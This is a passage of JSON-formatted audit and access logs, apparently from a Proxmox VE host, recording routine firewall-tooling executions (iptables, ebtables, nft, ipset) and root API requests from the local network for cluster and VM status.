{"@timestamp":1781966045195,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966045.195:68194): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=65488 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964425921,"@rawstring":"node=pve type=EXECVE msg=audit(1781964425.921:60969): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965247235,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:20:46 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1113"} {"@timestamp":1781964505974,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964505.974:61301): arch=c000003e syscall=59 success=no exit=-2 a0=7fff1d516e90 a1=5ee0fb57e310 a2=5ee0fb577680 a3=5 items=1 ppid=58846 pid=58847 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966035865,"@rawstring":"node=pve type=EXECVE msg=audit(1781966035.865:68170): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781965182091,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965182.091:64515): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61980 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965780829,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965780.829:67072): arch=c000003e syscall=59 success=yes exit=0 a0=637ee7242790 a1=637ee72530e0 a2=637ee7240ef0 a3=8 items=2 ppid=64415 pid=64417 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"awk\" exe=\"/usr/bin/mawk\" subj=unconfined key=\"exec\""} {"@timestamp":1781966045187,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966045.187:68191): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=65487 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964425916,"@rawstring":"node=pve type=EXECVE msg=audit(1781964425.916:60968): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781965246013,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:20:45 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 933"} {"@timestamp":1781964504622,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964504.622:61291): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58836 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966035859,"@rawstring":"node=pve type=EXECVE msg=audit(1781966035.859:68169): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965182091,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965182.091:64514): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61980 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965780829,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965780.829:67071): arch=c000003e syscall=59 success=yes exit=0 a0=637ee7253b60 a1=637ee7251390 a2=637ee7240ef0 a3=8 items=2 ppid=64415 pid=64416 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ps\" exe=\"/usr/bin/ps\" subj=unconfined key=\"exec\""} {"@timestamp":1781966044949,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966044.949:68188): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d5ab8ef0 a1=64f8d74094a0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=65484 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781964425910,"@rawstring":"node=pve type=EXECVE msg=audit(1781964425.910:60967): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965246013,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:20:45 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1113"} {"@timestamp":1781964504622,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964504.622:61290): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58836 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966035854,"@rawstring":"node=pve type=EXECVE msg=audit(1781966035.854:68168): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965182085,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965182.085:64512): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61979 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965780827,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965780.827:67070): arch=c000003e syscall=59 success=yes exit=0 a0=637ee7252c60 a1=637ee7252380 a2=637ee7257220 a3=8 items=2 ppid=846 pid=64414 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"awk\" exe=\"/usr/bin/mawk\" subj=unconfined key=\"exec\""} {"@timestamp":1781966044927,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966044.927:68187): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73bb3b0 a1=64f8d73e05b0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=65483 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781964425904,"@rawstring":"node=pve type=EXECVE msg=audit(1781964425.904:60966): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965246013,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:20:44 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 501"} {"@timestamp":1781964504614,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964504.614:61288): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58835 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966035847,"@rawstring":"node=pve type=EXECVE msg=audit(1781966035.847:68167): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965182085,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965182.085:64511): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61979 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965779263,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965779.263:67069): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=64413 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966040179,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966040.179:68186): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=65480 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964425900,"@rawstring":"node=pve type=EXECVE msg=audit(1781964425.900:60965): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965244082,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:20:43 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 920"} {"@timestamp":1781964504614,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964504.614:61287): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58835 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965177079,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965177.079:64506): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61973 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966035838,"@rawstring":"node=pve type=EXECVE msg=audit(1781966035.838:68166): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965779254,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965779.254:67066): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=64412 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966040170,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966040.170:68183): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=65479 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964425897,"@rawstring":"node=pve type=EXECVE msg=audit(1781964425.897:60964): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965244082,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:20:43 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 504"} {"@timestamp":1781964499608,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964499.608:61285): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58834 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965177079,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965177.079:64505): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61973 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966035833,"@rawstring":"node=pve type=EXECVE msg=audit(1781966035.833:68165): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781965775549,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965775.549:67063): arch=c000003e syscall=59 success=yes exit=0 a0=5fc565966b20 a1=5fc565972ed0 a2=5fc565940680 a3=5 items=2 ppid=64405 pid=64411 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966035924,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966035.924:68180): arch=c000003e syscall=59 success=yes exit=0 a0=610d36cdbb20 a1=610d36ce7a30 a2=610d36cb5680 a3=5 items=2 ppid=65471 pid=65477 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781964425896,"@rawstring":"node=pve type=EXECVE msg=audit(1781964425.896:60963): argc=1 a0=\"date\""} {"@timestamp":1781965244082,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:20:43 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964499608,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964499.608:61284): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58834 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965177071,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965177.071:64503): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61972 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966035823,"@rawstring":"node=pve type=EXECVE msg=audit(1781966035.823:68164): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965775546,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965775.546:67062): arch=c000003e syscall=59 success=yes exit=0 a0=5fc550fbeac8 a1=7ffe73063410 a2=5fc565940680 a3=5fc550fa224e items=2 ppid=64405 pid=64407 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966035917,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966035.917:68179): arch=c000003e syscall=59 success=yes exit=0 a0=610d02026ac8 a1=7ffd4aebc260 a2=610d36cb5680 a3=610d0200a24e items=2 ppid=65471 pid=65473 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781964425892,"@rawstring":"node=pve type=EXECVE msg=audit(1781964425.892:60961): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965244082,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:20:42 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1108"} {"@timestamp":1781964499599,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964499.599:61282): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58833 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965177071,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965177.071:64502): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61972 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966035817,"@rawstring":"node=pve type=EXECVE msg=audit(1781966035.817:68163): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965775545,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965775.545:67061): arch=c000003e syscall=59 success=yes exit=0 a0=7ffe730633d0 a1=5fc5659621c0 a2=5fc565940680 a3=5 items=2 ppid=64405 pid=64406 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966035915,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966035.915:68178): arch=c000003e syscall=59 success=yes exit=0 a0=7ffd4aebc220 a1=610d36cd71c0 a2=610d36cb5680 a3=5 items=2 ppid=65471 pid=65472 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781964425886,"@rawstring":"node=pve type=EXECVE msg=audit(1781964425.886:60960): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965242676,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:20:41 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 501"} {"@timestamp":1781964499599,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964499.599:61281): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58833 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965175564,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965175.564:64498): arch=c000003e syscall=59 success=no exit=-2 a0=7ffe15394d20 a1=5c08767911c0 a2=5c087676f680 a3=5 items=1 ppid=61965 pid=61966 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966035811,"@rawstring":"node=pve type=EXECVE msg=audit(1781966035.811:68162): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965775539,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965775.539:67059): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=64405 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966035911,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966035.911:68176): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc1408a0 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=65471 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964425880,"@rawstring":"node=pve type=EXECVE msg=audit(1781964425.880:60959): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965242676,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:20:41 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 921"} {"@timestamp":1781964495926,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964495.926:61277): arch=c000003e syscall=59 success=no exit=-2 a0=7fffd9165470 a1=61c8364893d0 a2=61c836467680 a3=5 items=1 ppid=58826 pid=58827 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965175452,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965175.452:64480): arch=c000003e syscall=59 success=no exit=-2 a0=7ffc80374490 a1=571727f2d310 a2=571727f26680 a3=5 items=1 ppid=61946 pid=61947 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966035808,"@rawstring":"node=pve type=EXECVE msg=audit(1781966035.808:68161): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965775532,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965775.532:67058): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64404 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966035904,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966035.904:68175): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc1408a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65470 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964425875,"@rawstring":"node=pve type=EXECVE msg=audit(1781964425.875:60958): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781965242676,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:20:41 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1117"} {"@timestamp":1781964495846,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964495.846:61259): arch=c000003e syscall=59 success=no exit=-2 a0=7fff39fc1c90 a1=5e4deabee310 a2=5e4deabe7680 a3=5 items=1 ppid=58807 pid=58808 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965172063,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965172.063:64470): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61936 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966035808,"@rawstring":"node=pve type=EXECVE msg=audit(1781966035.808:68160): argc=1 a0=\"date\""} {"@timestamp":1781965775524,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965775.524:67057): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64403 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966035896,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966035.896:68174): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65469 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964425869,"@rawstring":"node=pve type=EXECVE msg=audit(1781964425.869:60957): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965240972,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:20:39 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1108"} {"@timestamp":1781964494586,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964494.586:61249): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58797 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965172063,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965172.063:64469): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61936 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966035803,"@rawstring":"node=pve type=EXECVE msg=audit(1781966035.803:68158): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965775516,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965775.516:67056): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 